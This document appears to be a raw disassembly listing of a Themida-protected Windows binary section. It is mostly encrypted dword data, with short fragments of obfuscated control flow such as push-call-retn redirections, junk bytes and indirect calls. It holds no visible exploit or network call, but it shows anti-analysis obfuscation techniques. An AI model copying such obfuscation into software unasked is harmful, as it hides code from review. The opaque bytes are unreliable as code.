dd 722DEACEh, 32E9h, 0B92BDE00h, 8, 0Ah dup(0)
dd 0E9000000h, 4B5h, 19E6C668h, 9B8EE906h, 3E68FFF9h, 0E90619E7h
dd 0FFF99B84h, 19E8CA68h, 9B7AE906h, 19A5FFF9h, 2BBB9D3Dh
dd 0B9D8323h, 2AB99F3Fh, 13A28826h, 0FD326141h, 0B3134190h
dd 0B3133F8Dh, 0B00E3A8Dh, 0B515378Ah, 0D832A3ACh, 0A116B799h
dd 70BDD688h, 0E07155E4h, 0F1684F6Ch, 8DC71696h, 0E215F826h
dd 0A5BCFCDAh, 3693C2E1h, 0FF168F19h, 0AF90CF9Eh, 45143C8Bh
dd 173995C4h, 0BD020A8Bh, 6BD89B30h, 0CA127368h, 8B1CDB3Bh
dd 63D8320Ah, 0AC827B39h, 303E35Ah, 0B9770000h, 0DBABB6DFh
dd 0A5E889FCh, 3E69168Eh, 0CD31E8DBh, 2AB701A5h, 0F3D708EBh
dd 3958E961h, 3E6950AFh, 469BE7E5h, 0FFF26340h, 0F81315A9h
dd 0C0143695h, 0A73D99CCh, 87060711h, 0AE3657E6h, 9EE8013Fh
dd 80F9CC41h, 55720D02h, 0FE6CA620h, 4F2E6F00h, 55F74A70h
dd 4A025375h, 82B2AA17h, 3510D776h, 333h, 0BF1F3783h, 0A5054999h
dd 0B9193183h, 0AA084897h, 0BB1B3988h, 0F746A788h, 0D5B7D5Dh
dd 0F0436545h, 5587A58h, 755A6747h, 0B79A8600h, 68DA4F16h
dd 0EBC8BEA3h, 8451B17Ah, 98375616h, 0DB6E23B2h, 1FB8F5ABh
dd 0ABCAE310h, 0BD1A7B9Ah, 3B0A4695h, 0E664F8DAh, 0B0AE3657h
dd 48193B8Ah, 0B595270Bh, 0A7BDC2Bh, 2ABBE949h, 0E081D15Fh
dd 8B91A6Dh, 59743380h, 2BBh, 0C7E76FFBh, 0DDFD51E1h, 0C1E169FBh
dd 0A20050DFh, 83233180h, 0DF6E9F90h, 0E5735575h, 0D86B4D6Dh
dd 0DD705270h, 5D824F6Fh, 0B79BAE28h, 40227716h, 6602BEA3h
dd 9D87A276h, 0B6A4644Bh, 4B7D7B5Ch, 3BAA8D2Ah, 109E83DFh
dd 7E5B65A8h, 63E77961h, 20412A59h, 0E9E61685h, 849E1A74h
dd 3DCE30Ah, 0AFDA0DD8h, 39086908h, 84124AC8h, 0D465A10Ah
dd 25C8FC23h, 6A4A7450h, 0B03AFA62h, 0A2A25AA7h, 0B8000001h
dd 51E06CBDh, 5270DC6Dh, 5C7B0B56h, 0AD295C7Bh, 76109DB4h
dd 0C4BBB017h, 3632A84Dh, 8D225FAEh, 6AAB168Fh, 892CAADBh
dd 7830A8Bh, 328A4A72h, 466C5AACh, 0C90D5CF6h, 786D77Bh
dd 43475E66h, 98000000h, 0A83022B2h, 4CE0C22Eh, 92A3AB3Bh
dd 1FB01273h, 0D7E12031h, 0A30086DBh, 8E985332h, 50E12416h
dd 8A87A121h, 0FD8EF80Ah, 0AD3901CFh, 0D9A95Ah, 280A0000h
dd 0C86F793h, 0D50A8A94h, 180D1B0h, 6CBD1DB7h, 0B557B322h
dd 0FD20109Dh, 0B18ECD9Ch, 9DB4E23Ch, 75A4AB10h, 60FC8F9Bh
dd 2B2DB7D6h, 0A3A7B69Eh, 2C2B3A12h, 0C899B306h, 0FC4D7F49h
dd 61037250h, 0E1109E70h, 0E2DEFC50h, 0FFE0FF87h, 0D7FF8DDBh
dd 0E4D5298Fh, 8AC998F9h, 9EB0FF5Bh, 2445C810h, 0ED76D9Ch
dd 0B1D41689h, 0F0A13012h, 3F5EEF5Dh, 33024A9Bh, 2D13B3D2h
dd 4932EEA0h, 0BBD40FE6h, 0E485C517h, 0DF42071h, 4B862580h
dd 12Fh, 0BB1B3B87h, 0A9094595h, 0B5153587h, 0AE0C4493h
dd 0B7173D8Ch, 0F342AB84h, 0D15F4161h, 0ACFF2181h, 0C91C3E9Ch
dd 39162383h, 0B79D4AC4h, 64FE1316h, 0B72670BDh, 109DB55Bh
dd 4211418Fh, 0FE4EDFC3h, 0C8193F9Fh, 0BD8C2684h, 0BF8B1D6Ch
dd 3F0E6FAEh, 2482CA1Bh, 2A89FDE4h, 8EFBE6BBh, 617E9F16h
dd 6AA2EC79h, 3317A9B9h, 0C35E138Ch, 8B1D05A2h, 506FAEBFh
dd 8A37C11Dh, 0C10B8A0Ah, 37E26093h, 8B1E0A8Ah, 72BFE1C1h
dd 8BDAC5E2h, 2F5B79E4h, 0DBF6757Fh, 97h, 0C8BEA377h, 51AD7AEBh
dd 755A1684h, 91F3B71Dh, 93305123h, 0AA3222AFh, 0A5331C3Bh
dd 75A15F33h, 0C9DAF39h, 5A456240h, 0D55E4EB2h, 0E5E7F11Ah
dd 6A69F854h, 756F448h, 0EB3995C8h, 83020A83h, 4DABDAE2h
dd 0D61823ACh, 0E2731F9Ch, 0D3664C6Ah, 0CCEBE879h, 0E32A3D99h
dd 3D8706FBh, 3EBECC1Bh, 0CB87D525h, 1AA1BCE4h, 0E2765C7Bh
dd 30B8D968h, 0A1BE9BB1h, 0E3A3F26Ch, 925ABBFBh, 7ECF83F8h
dd 77CAF0CEh, 0C4984D5h, 0E5000000h, 0B1795E7Bh, 0DC994F71h
dd 0BD2DA731h, 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h
dd 0F330252h, 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah
dd 66A368h, 240C8900h, 763768h, 24348900h, 2D4568h, 240C8900h
dd 0E5E8B951h, 0CE890619h, 83240C8Bh, 8B5404C4h, 0C481240Ch
dd 4, 3F7A68h, 24348900h, 0FF08418Fh, 83592434h, 348B04C4h
dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 96EAE95Ch
dd 2895FFF9h, 86A82B8Eh, 0EA1EB8F6h, 0C5030619h, 0F12CE0FFh
dd 0DCE1270Bh, 29157121h, 7921086Bh, 15E90333h, 0A7F37C56h
dd 2D1F6B2Dh, 152374C6h, 6C44F5Dh, 86834982h, 1EFC0AF0h
dd 0F35E5052h, 0F162081Ah, 657A7146h, 9AFD7FC7h, 36262163h
dd 0B45F5F6Ch, 0E21466BCh, 0B5405A68h, 0C73E5AE9h, 21124D1Ah
dd 76595204h, 12B61F98h, 0E07B4DDBh, 79B30A2Fh, 0CAB8610Bh
dd 0A5C419F6h, 3063E84h, 2FA41166h, 8D8D2C03h, 619EBD7h
dd 8967C080h, 131BBD8Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1904h, 0C3574700h, 4B8A1EADh, 9D8BD301h
dd 6130B35h, 18DD85C7h, 6B400613h, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 150424h, 56460000h, 0C7BB54C3h
dd 13305585h, 6, 0C19D0900h, 8B06132Eh, 1331A595h, 1B5FF06h
dd 6A061321h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1B042444h, 40000000h, 8101C350h, 7B5B2AFBh, 0CB81A3A6h
dd 43D57B78h, 0FFD68B66h, 131D8995h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 74F952E6h
dd 635E5F90h, 2825958Bh, 6A0613h, 0DA995FFh, 0C08B0613h
dd 1F4B38EBh, 8F2495CBh, 1D95DA31h, 24036B30h, 0B58A086Dh
dd 0D50225FAh, 788A6D3Eh, 0BF00AFAh, 0A192C12Eh, 1CC58E9Ah
dd 9E25CE92h, 0D9D7D840h, 75968FF3h, 82598655h, 8D8DE4CFh
dd 619ECDEh, 35607BB8h, 659D3178h, 89061316h, 131BBD8Dh
dd 0EDB58906h, 8B06131Fh, 0DD85C7C3h, 50061318h, 0BA000066h
dd 421A393Dh, 305585C7h, 613h, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 160424h, 55450000h, 408AC5C3h
dd 0AE9h, 6BCAF100h, 45B474BDh, 0FFE9C8E8h, 1331EDB5h
dd 8995FF06h, 6A06131Dh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 8B14C357h, 130D11B5h
dd 14E806h, 0C33F0000h, 8DB49C66h, 0FDD8B6A4h, 383EA6CCh
dd 0D7179C77h, 0E957829Eh, 0Fh, 0B91CDA6Eh, 0FA1377B5h
dd 0CBCFCF13h, 5EAE1265h, 0FF006A58h, 130DA995h, 0EBC08B06h
dd 0F4B03E0Ch, 0DD37AE68h, 2F44A154h, 10E834h, 8B690000h
dd 0D86B2786h, 98E8F518h, 7ACDCB57h, 0F98B905Eh, 0D7C18159h
dd 68000064h, 0
dd 0CE8h, 620F1600h, 276FFEC1h, 0C5C541CAh, 0E5BD8901h
dd 5B06131Dh, 0E7816658h, 34FF9E04h, 0D3BF0F08h, 0E1BB665Eh
dd 2CC681ABh, 0E8160661h, 7, 0D6F8C4BAh, 333DB2C0h, 1322C59Dh
dd 0C6815B06h, 4A1B2C11h, 2179BD89h, 0F6810613h, 561568A4h
dd 25EDBF66h, 48FF956h, 0C3816601h, 0E8816F59h, 0D5EC05Fh
dd 61DBD8Bh, 0C0810613h, 0D5EC05Bh, 359D8B57h, 5B06130Dh
dd 9BD0F881h, 850FFFFFh, 0FFFFFF96h, 5AEB8166h, 12E8A0h
dd 57F40000h, 3C80D107h, 526C7F93h, 0C7B63D17h, 0DAAA8B9Dh
dd 0D820Fh, 8E90000h, 0A9000000h, 1E5E4074h, 58F1E435h
dd 81E6CD80h, 734DC0h, 78BB6600h, 60F6331Eh, 0C480F18Bh
dd 34FF61F4h, 0E1B3BA06h, 0E85F2371h, 14h, 68F275F5h, 63CF57ECh
dd 9C0ED14Dh, 17E9ADDCh, 7413793Ah, 28F0Fh, 61600000h
dd 0E2F78159h, 806D3B01h, 0EF81A0DEh, 0F30C659h, 38A0Fh
dd 0BF0F0000h, 0A6F781DEh, 8B3E2202h, 303C89DAh, 1965950Bh
dd 0D1810613h, 2B9B2005h, 8904EE83h, 130B6D85h, 90FE8106h
dd 0FFFFF8Dh, 1385h, 0D3816600h, 2CE9675Eh, 0A6000000h
dd 919CD966h, 6FBB3B26h, 0AE9h, 7C1CAF00h, 4E6F6FF6h, 0E9C14829h
dd 0FFFFFF6Ah, 0A3D43EBh, 50FB9799h, 8569ED94h, 0E980C094h
dd 13h, 41BB5FE3h, 3 dup(0)
dd 0E9000000h, 50Fh, 2383D35Fh, 1A1ADFDh, 1DBD8D1Fh, 6A4AC3Bh
dd 1FBF9524h, 5BEA032Ch, 69F7D9F9h, 54E7C9E9h, 61F4D6F4h
dd 0E1FECBEBh, 0B7A332ACh, 0BCA6FB16h, 1670E5C2h, 0DF109DB5h
dd 912436BEh, 19A8AABBh, 24B59B3Bh, 19A78B28h, 0E30AF39h
dd 7EC091BBh, 0C013222Ch, 8351B89Fh, 382C3B3h, 8BA4FB9h
dd 113797B5h, 62C8ABEh, 84C697B1h, 0B4F1E34h, 80C293BBh
dd 2BBB1F2Dh, 3E4CD65Dh, 0ACCD8D11h, 0A318BA9Dh, 57F41EB2h
dd 923018ABh, 81798AB5h, 89EE4187h, 90BC0D3Fh, 9E320C33h
dd 408D8EDAh, 3998E978h, 0B2109E34h, 0BB79A318h, 23A34195h
dd 68h, 133D8EB4h, 5FF9C342h, 0C3E06CBDh, 6CFD4DDFh, 0B544A32Dh
dd 109DB557h, 9FCD3ECCh, 0A341EAD1h, 0C3C8FB3h, 273618AAh
dd 1C7DEE6h, 9B000000h, 50E16DBDh, 4EFE4F73h, 4569EFFh
dd 203F9CB2h, 9DB571EDh, 3915A510h, 0B694282Ah, 0BD0766A7h
dd 0B59B2C2Eh, 4ABF33A4h, 0AB084698h, 45143487h, 0FCDEFCC4h
dd 65C3E369h, 55E470BDh, 1AAAE171h, 2085938h, 0F23FF388h
dd 0CB5E4462h, 3A8EB081h, 0EE184110h, 0E8712F5Dh, 8CD9A341h
dd 7D000000h, 55E470BDh, 16A8DF71h, 0C3E82938h, 0C1FE8502h
dd 0ED7C1DCAh, 0D483F87Ah, 62F35DEEh, 2AB79923h, 17A68C2Ah
dd 4367E97Ah, 8B0A5BF3h, 0E8775BEAh, 0C2E846A2h, 0C9A8D126h
dd 0A4157178h, 41A8A878h, 7A10A3h, 7FA30000h, 2E7D2131h
dd 0EAF21322h, 0E470BD70h, 0A4DE7155h, 0AEDF673Dh, 109E1B34h
dd 0C53398FDh, 5CEE426Fh, 0CA0D5C3Dh, 4E572A15h, 1169F6C5h
dd 0E6EE8FC3h, 0D6630FACh, 0F67516B8h, 1C7D0651h, 489BBFh
dd 0BD409AB8h, 0E0C2E16Dh, 0E30014Fh, 0EAF293BDh, 0A7B5C7Bh
dd 109DB490h, 3F923459h, 13DD3C0Dh, 9DB51574h, 87048E10h
dd 41EA9765h, 63FA3h, 0BAA00000h, 449E2628h, 8EDF6BBDh
dd 253F94Ch, 7B27A4CEh, 454161E9h, 6A4D6A1Ch, 9DB49FFBh
dd 0D3626810h, 0FBD8E081h, 8EB19B8Ah, 78C94C16h, 6A490356h
dd 958F648h, 30124088h, 6F9EAF9Dh, 0A8AAEF1h, 5F13A82Ah
dd 7A607ECEh, 0F2D465E7h, 0B65CED5Fh, 62F39F1Ch, 0A070CCEAh
dd 85AAD10h, 15Bh, 0C8BEA32Eh, 0BC377AEBh, 4DD0168Eh, 0C587DAFCh
dd 0DA72C3E5h, 56F6478Bh, 0F891FF07h, 0A1FD704Fh, 6A0A8AA5h
dd 1EAFA12Bh, 6434902Eh, 0CC5AAD1Bh, 51h, 0C6BCA372h, 4BFA74E9h
dd 82036F62h, 9ADAFA25h, 0E26DF826h, 664C8BDAh, 13727AD4h
dd 909EA3B7h, 0C1345AEBh, 909EA445h, 5FEE8F0Eh, 37A6EC7Bh
dd 909EA3DBh, 310061A4h, 1E07840Eh, 0A573088Ah, 7AEBC8BAh
dd 0EF633B00h, 0B268409h, 0D7h, 4CE0C2A7h, 0FD706FFEh
dd 109DB4A1h, 824A2B6Ah, 7C5B2B36h, 8EA0FC09h, 8DDAE516h
dd 3E2B7BEAh, 0F2DDFA9Bh, 0D8C6534Ah, 7D2F3C40h, 0C7C003D9h
dd 90CF1EA6h, 91E43EAFh, 68AD0A8Ah, 91C01A4Bh, 4890A8Ah
dd 3F479ABCh, 7D174F05h, 0A6046526h, 285D3184h, 0A89EAAEh
dd 0E6771677h, 89EB3497h, 88AA750Ah, 44CE1634h, 0A73A20C7h
dd 6B7594A5h, 94B6D869h, 0FE58093Fh, 0C70A89E9h, 7BD16446h
dd 0EDCAABEAh, 14DC78C5h, 0E79FCAC6h, 8FBF95C8h, 0C6EC1070h
dd 988D973h, 8F2022BFh, 91A0AAFEh, 0C1401170h, 1CAD91A0h
dd 0C12B2130h, 4DC09F48h, 46FFBD1h, 0D48EB59Ah, 738DB86h
dd 0D6AA4166h, 99ED55Ah, 186E73BFh, 44497BBh, 7A6E9FBCh
dd 370A569Ch, 0A35AF8D6h, 6CC802BEh, 17E244h, 7C46909Bh
dd 0ADCCC3FEh, 0A809DF0Eh, 47C61684h, 0CB81D4F6h, 0D874C5EBh
dd 0C686D7FBh, 0D31E6FFEh, 78512577h, 80D181FAh, 0DD113706h
dd 0A9C8A51Ah, 93DE250Ah, 889B8436h, 0E8CF2C07h, 17A1CF39h
dd 0A1361C39h, 507796A7h, 0DDE1072Fh, 0E5E7F1E7h, 6569F854h
dd 0F5EB7AD6h, 1C76E7C8h, 50C2E0EEh, 0C50251FFh, 0E0EE3690h
dd 0FF9EFFC2h, 741E9BF5h, 6B4C6BE1h, 0E0EDA0FAh, 3F87D1C2h
dd 0BD012195h, 341AACAEh, 3B85E425h, 0A2AA3B1Dh, 0BF8B1D05h
dd 39BB635h, 37000000h, 71BDE17Bh, 0DF7254E5h, 65FADC6Dh
dd 0E07052E3h, 52DFE372h, 0C20F3302h, 307FC392h, 9B2D1120h
dd 2ABC9EAFh, 53221524h, 0C381E389h, 4, 3304EB83h, 1C31241Ch
dd 241C3324h, 21F7685Ch, 2C890000h, 59BA6824h, 1C890000h
dd 3EB95124h, 833F4115h, 0C18101E9h, 0C6D8D965h, 5459CD89h
dd 81241C8Bh, 4C4h, 8BA5200h, 1000000h, 2C8155DAh, 0C960CB24h
dd 81028F62h, 0C960CB02h, 34FF5A62h, 0C4815B24h, 4, 57242C8Bh
dd 0C781E789h, 4, 4C781h, 3C870000h, 0BDE95C24h, 36FFF98Dh
dd 0C3A0B941h, 55CA0391h, 0B8F0EDE5h, 619F325h, 0E0FFC503h
dd 57F2EE4Fh, 67A86AACh, 13A9D865h, 5DBBA5EDh, 6E6D9070h
dd 3D012BA2h, 540B6BB4h, 7C73AE7Bh, 0E0823E9h, 574D1145h
dd 1E6EE30Bh, 7391572Dh, 53929C3Ch, 0FB4E38Eh, 3E1D7457h
dd 0F4B98D8Dh, 6A0619h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 140424h, 51410000h, 8B66DFC3h, 98D89D7h, 89061319h
dd 131BBD8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1504h, 0C3524200h, 8589FAE6h, 6131ED9h, 49B866h, 0DD85C7F9h
dd 50061318h, 6A00005Fh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 15042444h, 40000000h, 0D7BAC350h, 305585C7h
dd 613h, 0B5FF0000h, 61320B9h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 14h, 5CC35646h, 5279CB81h, 95FF1F54h
dd 6131D89h, 5A4FB866h, 95FF006Ah, 6130DA9h, 2FEBC08Bh
dd 0A853FEDDh, 0F1C2A27Eh, 59D17EC9h, 0EF46A8EBh, 1658A26Ch
dd 0B174682Ah, 325BC362h, 0B69F8908h, 1A5BAB71h, 7F0BFF31h
dd 3C141B54h, 8DB4F127h, 19F5C18Dh, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 187F1FDFh
dd 0A6513732h, 1BBD8D89h, 810F0613h, 6, 31BA6650h, 85C75871h
dd 61318DDh, 584Ch, 1969BD89h, 85C70613h, 6133055h, 0
; ---------------------------------------------------------------------------
jmp loc_5EB820
; ---------------------------------------------------------------------------
db 51h, 0E3h, 9Dh
dd 2EE8FB4Fh, 0DAAFB380h, 637247A3h
; ---------------------------------------------------------------------------
loc_5EB820: ; CODE XREF: Themida_:005EB80Cj
push dword ptr [ebp+613302Dh]
push 0
push ebp
call sub_5EB831
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EB831 proc near ; CODE XREF: Themida_:005EB829p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5EB831 endp
; ---------------------------------------------------------------------------
sbb dword ptr [ebx+21B1958Bh], 13h
push es
jmp loc_5EB855
; ---------------------------------------------------------------------------
align 10h
sub eax, 0CA3EA813h
loc_5EB855: ; CODE XREF: Themida_:005EB84Aj
call dword ptr [ebp+6131D89h]
push 0
push ebx
call sub_5EB866
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EB866 proc near ; CODE XREF: Themida_:005EB85Ep
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_5EB866 endp
; ---------------------------------------------------------------------------
dw 5DEFh
dd 18B1EA8Bh, 850B13A4h, 6132385h, 95FF006Ah, 6130DA9h
dd 7FEBC08Bh, 21F666CDh, 46834684h, 3E21F040h, 72294801h
dd 9AA588C5h, 1B95900Ah, 0BFB72977h, 0D9968BD9h, 0FD51FC2Ch
dd 7A25624Bh, 0C9B02946h, 7F4525CFh, 4153AD2Eh, 0CF7AC42Ch
dd 52F918CCh, 37CAF5E2h, 33452159h, 8FFF958Ch, 74FD90E2h
dd 613F2D74h, 0E77E67D4h, 0C2A84729h, 0F26093AFh, 5AB1BCA5h
dd 0D2658BE6h, 0AD14EA64h, 58619B11h, 28E9F40Fh, 0D915A9D2h
dd 40D397A1h, 60CC37C7h, 8D32D8B5h, 19F71F8Dh, 0F88B6606h
dd 1BBD8D89h, 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 0EAEC6DC3h, 9529828Ch, 6132C21h
dd 18DD85C7h, 729C0613h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 180424h, 52420000h, 0AEE932C3h, 0FF938A6h
dd 0E84h, 0B5896000h, 6133101h, 11318D29h, 0C7610613h
dd 13305585h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 0E80F61C8h, 0Fh, 1DA8484Ah
dd 0D9FC7465h, 587C7E5Ah, 0F91E620h, 665FC3B7h, 6D5AF681h
dd 1489BD89h, 0B5FF0613h, 613005Dh, 0C75BD8Bh, 95FF0613h
dd 6131D89h, 6A41B2h, 0DA995FFh, 0C08B0613h, 0D8A478EBh
dd 9C172B6Bh, 421558B7h, 0B8ED3DCCh, 83851EEEh, 0CB97690Fh
dd 0CE9A618Dh, 0F7CE145Dh, 0BFEBA633h, 8D86416Dh, 803399EEh
dd 0EB3EABCEh, 3F2EE1B7h, 0DBB27E38h, 0EF9BE7D0h, 3D4E3B2Bh
dd 0C5EBEE7h, 0AD244384h, 0AA8684E1h, 0E36C1E77h, 0C818154Eh
dd 0AB66D839h, 736421D6h, 3FDBAFDAh, 0C99D8D4Fh, 0B2779E32h
dd 3B6BC8DAh, 2D33948Eh, 0D201E894h, 6AEB93C8h, 14E969C2h
dd 0A000000h, 23E065h, 3 dup(0)
dd 0E9000000h, 567h, 4B6BEB77h, 5979D565h, 4565E577h, 5E7CD463h
dd 4767ED7Ch, 23B2DB54h, 21AF9131h, 1CAF9131h, 19AC8E2Ch
dd 89C69333h, 0B7ABFA54h, 0F44EC316h, 51E06CBDh, 3725572h
dd 109DB487h, 429CCD50h, 0B109DB4h, 0C110428Ah, 83D280D0h
dd 5D436302h, 1B6ABDCCh, 54E584CCh, 0C6055435h, 0F6FE54E4h
dd 6AFB51E4h, 0AEB2D668h, 63596AB7h, 193D0C6Dh, 92B485C9h
dd 5AF8483Dh, 0A9292A3Bh, 0E0122510h, 2626B76Bh, 3B0DA288h
dd 6022B59Bh, 752C58DCh, 35046592h, 0BE8FC311h, 1FD368AAh
dd 3C1EBC8Ch, 6392A3A9h, 109CF2E2h, 75C48E1Eh, 5C910351h
dd 109CF302h, 1A2B4ACBh, 7065D674h, 0D0634C8Bh, 0B7394CA0h
dd 54E51FA9h, 0BECC6828h, 0C1D05Ch, 0BFE30000h, 1EBBE070h
dd 7BB4EACBh, 0BD449E26h, 0FC8E1D6Ch, 0ECC9413Fh, 0C293F2C8h
dd 96C76E7Dh, 0CCAD0E21h, 98F95BEAh, 38AD8AC9h, 109E43DEh
dd 3E16A3A7h, 910D805Fh, 5A109E43h, 0F652B13Bh, 2E109E43h
dd 9DA1B09Ah, 0CD5F430Fh, 76F8EC7Dh, 5FEB1005h, 65F2C2EAh
dd 15AA341h, 0
dd 0C2E16DBDh, 6FFE4CE0h, 347A62Eh, 2EA8DDB3h, 0F7109DB5h
dd 79C880D3h, 49187918h, 0F793280Ah, 9DB50C86h, 0D1B0D510h
dd 95B70180h, 173B0A46h, 96B889C9h, 54F84946h, 54E58405h
dd 38EA5F73h, 73C4A5A3h, 86D88AFFh, 0E5CDEAC8h, 60343658h
dd 669260D8h, 0D935A807h, 0A2109E3Eh, 0E6775963h, 0BDEA4866h
dd 0E3C7E470h, 2A6BFA52h, 0AFFF43A2h, 0D8BD38D9h, 3F5E4B78h
dd 51EA682Eh, 624014A1h, 0F9325A45h, 430FCCDEh, 8A0B5AF2h
dd 5EEFE1EBh, 0E97B5FEEh, 7D09D061h, 97C5B0Ch, 109DF18Dh
dd 35AD3756h, 0A341D577h, 9FDFh, 70BD8300h, 0B55BB726h
dd 0E124109Dh, 0AFFF2380h, 854FCE9Fh, 98BEE9E6h, 0B0C26C28h
dd 0FE4FFB4Dh, 0E4F6FE9Fh, 0F86BFA50h, 7956017Ah, 9EA48A04h
dd 0AA325310h, 9B3B19A8h, 8F2C28B5h, 22331BABh, 488AD9E3h
dd 0C60859F7h, 488ADB75h, 0C60958F6h, 7F462FCCh, 0E9D17613h
dd 68F0F85Ch, 0A34118B8h, 8E087D5Ah, 57109EAEh, 0DF6EE673h
dd 8E15DFBEh, 5Ah, 0E470BDB4h, 6ADE7155h, 9FFB6A4Dh, 68109DB4h
dd 0B4C9B25h, 6245F287h, 9DB497F3h, 963D6010h, 555791B1h
dd 61737D6Bh, 882280D4h, 50E16DBDh, 9DB4A021h, 0E9C61910h
dd 0ABDA6EC1h, 109DB52Fh, 0C14B95F8h, 4DC09F48h, 109DB4D1h
dd 0E9717B9Ah, 0A341EA2Bh, 193h, 0E0C2A700h, 0D3320351h
dd 0D575C709h, 5DEF4284h, 2596D80Ch, 4F6FDB6Dh, 4F6C1A4Fh
dd 0E47E4770h, 0F55BD182h, 22CD9CEBh, 1F7E168Fh, 93B90C4Eh
dd 90BC0D33h, 91C10F33h, 0E87741C0h, 0D878C7EBh, 21137110h
dd 464C0A8Bh, 0A0ACFDB5h, 0BF8F1F03h, 77656FAEh, 0FD4C0051h
dd 75C488D9h, 0DC86038Dh, 47E3C389h, 5AAC8689h, 14F31h
dd 0EA08200h, 4890F140h, 0C8BEA38Eh, 0BC377AEBh, 4DD0168Eh
dd 6DFBDFFCh, 0B2E85E1Fh, 0E283425Fh, 2465F8DAh, 6CADBC92h
dd 3A8BAD0Dh, 6392B512h, 0A89C3E7h, 0B382CA1Bh, 38800552h
dd 7A14A5A9h, 0C3AE285Dh, 16770A89h, 89C3EB67h, 3051B40Ah
dd 0D79CAC93h, 4290C64h, 10B7ED17h, 0E0E8A1F2h, 7A0F7981h
dd 0F7D775C8h, 0AD959D5Bh, 6E455Ah, 0A3190000h, 74E9C6BCh
dd 6F624BFAh, 32FD4C73h, 0BBA11307h, 7251B431h, 60950150h
dd 909EA4E6h, 0C50F6EAFh, 0A57BD726h, 1EAF909Eh, 0A4A1FD70h
dd 2B6A909Eh, 89D7FB4Ah, 2A5B78C9h, 909EA4B0h, 0CF431479h
dd 88354B3Ah, 2E30DA9Fh, 29B3FC17h, 419E6ADFh, 77F36241h
dd 80EF629Ch, 0F445075Ah, 0F3D7F495h, 3E5FEE66h, 7189A8B6h
dd 25000000h, 351E0C2h, 0AD09D332h, 80F5D2B4h, 168EA175h
dd 2C2E3F5Eh, 8ABDED99h, 0C5370543h, 612007A4h, 61C3B3A5h
dd 23B61045h, 1E7F0A8Ah, 4167757Fh, 7C0D5CF0h, 0A8A241Bh
dd 0DC5365Ch, 0F3390BCh, 7EC091C1h, 0CF4E1F29h, 0F83826AEh
dd 0C73695F1h, 1070B1E6h, 3471677h, 95CB9AB2h, 0CF1ADE5Bh
dd 4E518B7h, 50A56BBh, 0FCC4901Dh, 32902E6Fh, 0EBC8BEA3h
dd 8443BB7Ah, 0A093BC16h, 151A7C97h, 226300C8h, 0AE9E2F13h
dd 0B5972A10h, 0E94155A4h, 49762F4Ah, 717BCF61h, 5DF0A217h
dd 58E9CFEFh, 0D26165F4h, 77F9EF7Eh, 4FFD5002h, 54F8496Fh
dd 3C805h, 7B660000h, 0E571BDE1h, 6DDF7254h, 0E365FADCh
dd 72E07052h, 252DFE3h, 92C20F33h, 20307FC3h, 0AF9B2D11h
dd 242ABC9Eh, 69682215h, 89000030h, 89502434h, 405E0h
dd 0E8830000h, 24048704h, 241C895Ch, 81E38953h, 4C3h, 4EB8300h
dd 5C241C87h, 0BB243489h, 2938267Dh, 68h, 241C2900h, 0F7DBF75Bh
dd 39F381DBh, 68D0DE2Eh, 1FA5h, 83242489h, 5E042404h, 97B85053h
dd 2938CA03h, 58042444h, 8108468Fh, 3970846h, 348B38CAh
dd 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h, 5B2434FFh
dd 0E904C483h, 0FFF9844Ch, 0E9653017h, 192DD69Fh, 0B8601586h
dd 619FC8Ch, 0E0FFC503h, 589226B7h, 30DAEA14h, 3772CD38h
dd 5D3C9C7Dh, 4BCCCA5Ah, 1175DDDAh, 1AC967E0h, 0FE8h, 0A7FCBA00h
dd 3BFEF5FEh, 0BE833E13h, 0A3A72742h, 0F143BA66h, 3F89BB5Fh
dd 0C78122C5h, 70ECh, 1C0468h, 0EBF38100h, 581CB82Eh, 13E9h
dd 669F7900h, 90B2A570h, 946B632Dh, 999C219Eh, 178D7A1h
dd 0F5737FFh, 58Ah, 0E1816600h, 5E5A0BCBh, 8EE81F9h, 0F74317Fh
dd 1689h, 11E900h, 0E5CD0000h, 93221E95h, 966BB505h, 0E580F0F9h
dd 81E6052Ah, 8C091F6h, 12B9664Ch, 9AF68167h, 535334D6h
dd 378959F5h, 0EF83F18Ah, 5820F03h, 66000000h, 2F7F381h
dd 48CA8A4Fh, 11850Fh, 0B9660000h, 32E99782h, 1E000000h
dd 4C4AA6E0h, 0E92037FBh, 0Dh, 0CB1B49D7h, 1A2861h, 9B184E9Ch
dd 0FF76E99Eh, 0F50DFFFFh, 0A545ABCBh, 0CB382275h, 304962Ch
dd 0A8D33FCFh, 6E8FEh, 3F440000h, 5B445DFEh, 805EC88Bh
dd 0C68167EAh, 638Dh, 0A7A9D281h, 16BB7862h, 81172265h
dd 227DD7F3h, 5336FF17h, 41D98166h, 80585F3Ah, 0E88189C6h
dd 5015ECF0h, 9BCF8166h, 0F8F0810Dh, 0B9584BF1h, 1894FA8Bh
dd 5372C081h, 800F66E8h, 8, 0A0F78060h, 61F2B70Fh, 0F510689h
